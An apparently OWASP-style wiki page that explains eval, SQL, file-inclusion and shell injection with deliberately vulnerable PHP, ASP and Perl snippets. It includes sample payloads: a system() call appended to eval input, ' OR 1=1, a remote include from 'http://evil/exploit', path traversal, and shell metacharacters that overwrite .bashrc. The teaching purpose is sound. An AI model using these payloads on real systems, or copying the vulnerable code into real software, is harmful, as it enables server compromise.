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Direct Dynamic Code Evaluation ('Eval Injection')

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This is an Attack. To view all attacks, please see the Attack Category page.


This attack consists in a script does not properly validate user inputs in the page parameter. A remote user can supply a specially crafted URL to pass arbitrary code to an eval() statement which results in code execution.

Note 1: This attack will execute the code with the same permission like the target web service, including operation system commands.

Note 2: Eval injection is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.


Example 1

In this example an attacker can control all or part of an input string that is fed into an eval() function call

  $myvar = "varname"; 
  $x = $_GET['arg']; 
  eval("\$myvar = \$x;"); 

The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10 ; system(\"/bin/echo uh-oh\");", additional code is run which executes a program on the server, in this case "/bin/echo".

Eaxmple 2

The following is a example of SQL Injection, consider a web page has two fields to allow users to enter a Username and a Password. The code behind the page will generate a SQL query to check the Password against the list of Usernames:

SELECT UserList.Username
FROM UserList
UserList.Username = 'Username'
AND UserList.Password = 'Password'

If this query returns exactly one row, then access is granted. However, if the malicious user enters a valid Username and injects some valid code ("' OR 1=1") in the Password field, then the resulting query will look like this:

SELECT UserList.Username
FROM UserList
UserList.Username = 'Username'
AND UserList.Password = 'Password' OR '1'='1'

In the example above, "Password" is assumed to be blank or some innocuous string. "1=1" will always be true and many rows will be returned, thereby allowing access. The final inverted comma will be ignored by the SQL parser. The technique may be refined to allow multiple statements to run, or even to load up and run external programs.

Example 3

This is a example of a file was injected. Consider this PHP program (which includes a file specified by request):

   $color = 'blue';
   if ( isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   <input type="submit">

The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:

  • /vulnerable.php?COLOR=http://evil/exploit - injects a remotely hosted file containing an exploit.
  • /vulnerable.php?COLOR=C:\ftp\upload\exploit - injects an uploaded file containing an exploit.
  • /vulnerable.php?COLOR=..\..\..\..\ftp\upload\exploit - injects an uploaded file containing an exploit, using Path Traversal.
  • /vulnerable.php?COLOR=C:\notes.txt%00 - example using Null character, Meta character to remove the .php suffix, allowing access to other files than .php. (PHP setting "magic_quotes_gpc = On", which is default, would stop this attack)

Example 4

A simple URL which demonstrate a way to do this attack:


Example 5

Shell Injection applies to most systems which allows software to programmatically execute Command line. Typical sources of Shell Injection is calls system(), StartProcess(), java.lang.Runtime.exec() and similar APIs.

Consider the following short PHP program, which runs an external program called funnytext to replace a word the user sent with some other word)

passthru ( " /home/user/phpguru/funnytext " 
           . $_GET['USER_INPUT'] );

This program can be injected in multiple ways:

  • `command` will execute command.
  • $(command) will execute command.
  • ; command will execute command, and output result of command.
  • | command will execute command, and output result of command.
  • && command will execute command, and output result of command.
  • || command will execute command, and output result of command.
  • > /home/user/phpguru/.bashrc will overwrite file .bashrc.
  • < /home/user/phpguru/.bashrc will send file .bashrc as input to funnytext.

PHP offers escapeshellarg() and escapeshellcmd() to perform encoding before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.

Example 6

The following code is a vulnerable a eval() injection, because it don’t sanitize the user’s input (in this case: “username”), the program just save this input in txt file, and after the server will execute this file without any validation. In this case the user is able to insert a command instead of a username.


	If not isEmpty(Request( "username" ) ) Then
		Const ForReading = 1, ForWriting = 2, ForAppending = 8
		Dim fso, f
		Set fso = CreateObject("Scripting.FileSystemObject")
		Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True)
		f.Write Request("username") & vbCrLf
		Set f = nothing
		Set fso = Nothing
		<h1>List of logged users:</h1>
			Server.Execute( "userlog.txt" )
			<input name="username" /><input type="submit" name="submit" />
	End If

Example 7

This is a example of HTML Injection in IE7 Via Infected DLL. According to an article in UK tech site The Register, HTML injection can also occur if the user has an infected DLL on their system. The article quotes Roger Thompson who claims that "the victims' browsers are, in fact, visiting the PayPal website or other intended URL, but that a dll file that attaches itself to IE is managing to read and modify the html while in transit. The article mentions a phishing attack using this attack that manages to bypass IE7 and Symantec's attempts to detect suspicious sites.

Example 8 This CGI script is used to modify settings in a configuration file.

use CGI qw(:standard);
sub config_file_add_key {
my ($fname, $key, $arg) = @_;
# code to add a field/key to a file:
sub config_file_set_key {
my ($fname, $key, $arg) = @_;
# code to set key to a particular file:
sub config_file_delete_key {
my ($fname, $key, $arg) = @_;
# code to delete key from a particular file goes here
sub handleConfigAction {
my ($fname, $action) = @_;
my $key = param('key');
my $val = param('val'); 
# this code is efficient especially when inoke a several different functions my $code = "config_file_$action_key(\$fname, \$key, \$val);"; eval($code); } $configfile = "/home/cwe/config.txt"; print header; if (defined(param('action'))) { handleConfigAction($configfile, param('action')); } else { print "No action specified!\n"; }

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as: add_key(",","); system("/bin/ls"); This would produce the following string in handleConfigAction(): config_file_add_key(",","); system("/bin/ls"); Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\$fname, \$key, \$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.



Likelihood of exploitation

Related Threats

Category:Command Execution

Related Attacks

Related Vulnerabilities

Category:Input Validation Vulnerability

Related Countermeasures

Category:Input Validation

[Category: Resource Manipulation]]